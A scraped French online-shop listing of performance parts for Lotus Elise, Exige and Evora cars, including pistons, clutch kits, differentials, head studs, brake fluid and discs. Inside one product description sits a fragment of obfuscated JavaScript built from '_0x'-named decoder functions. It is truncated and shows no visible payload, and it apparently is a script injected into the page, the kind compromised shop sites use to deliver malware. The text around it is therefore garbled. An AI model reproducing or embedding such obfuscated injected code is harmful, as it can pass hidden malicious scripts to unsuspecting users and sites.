Jeu de 4 pistons avec segments et axes Compression 9.3:1 Tête plate avec...
Emetteur d'embrayage neuf, type origine Pour versions 2.0 et 2.0 Turbo
Pieces performances Lotus Exige S3
Differentiel a glissement limité à disque, livré avec un bidon d'huile Usage mixte route/competition, position: dans la boîte de vitesse Pour Elise et Exige moteur Toyota 1.5 voies, vérouille à l'accélération et un peu au freinage. Plus d'infos ci dessous Choisissez votre référence via l'onglet
Pièces renforcées adaptés aux hauts régimes et hautes températures function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const...
Kit embrayage renforcé pour usage circuit ou compétition avec volant moteur monomasse Fiche technique ci dessous
Kit embrayage renforcé pour usage circuit ou compétition avec volant moteur monomasse Fiche technique ci dessous Race, ultraleger
Liquide de frein hautes performances Excède les références DOT4 Compatible circuit de série et liquide de série Sans silicone Utilisé en endurance Détail complet ci dessous Décu du RBF? essayez celui ci ;)
Differentiel Quaife autobloquant a vis sans fin sans entretien. Pour la boîte Toyota Aisin BC16 6 rapports utilisé sur Lotus Elise Exige et Celica T23. C'est également lui pour les Elise/Exige Evora V6 moteur Toyota Parfait pour usage piste, rallye ou Touge!
jeu de goujon de culasse ARP pour V6 Toyota Lotus 3.5 et 4.0 avec lubrifiant de montage, écrous et rondelles n'inclue pas les 2 vis plus courtes ref toyota 90105-10521
Kit embrayage complet avec volant moteur monomasse Inclus la visserie nécéssaire et la butée Capacité de couple 600Nm Facile a installer, pas de modifications Pour Lotus Evora et Exige V6 3.5 2GR Toyota
Pont court made in Japan pour les boîte de vitesse Rapport de 4.8 (d'origine vous êtes sur 4.5 environ selon les boîtes)
Additif céramique pour huile moteur. Va réduire la friction entre les éléments mobiles du moteur, réduisant l'usure et la chaleur dégagée. Moins de perte d'énergie en friction, c'est un meilleur rendement du moteur Grâce a ses composants, les nano particules de céramiques vont venir lisser les surfaces métalliques. C'est l'additif céramique le plus...
Disque de frein fabriqué en Australie, On retrouve ce disque a l'avant et a l'arrière de beaucoup d'Elise et d'Exige, associé aux étriers Brembo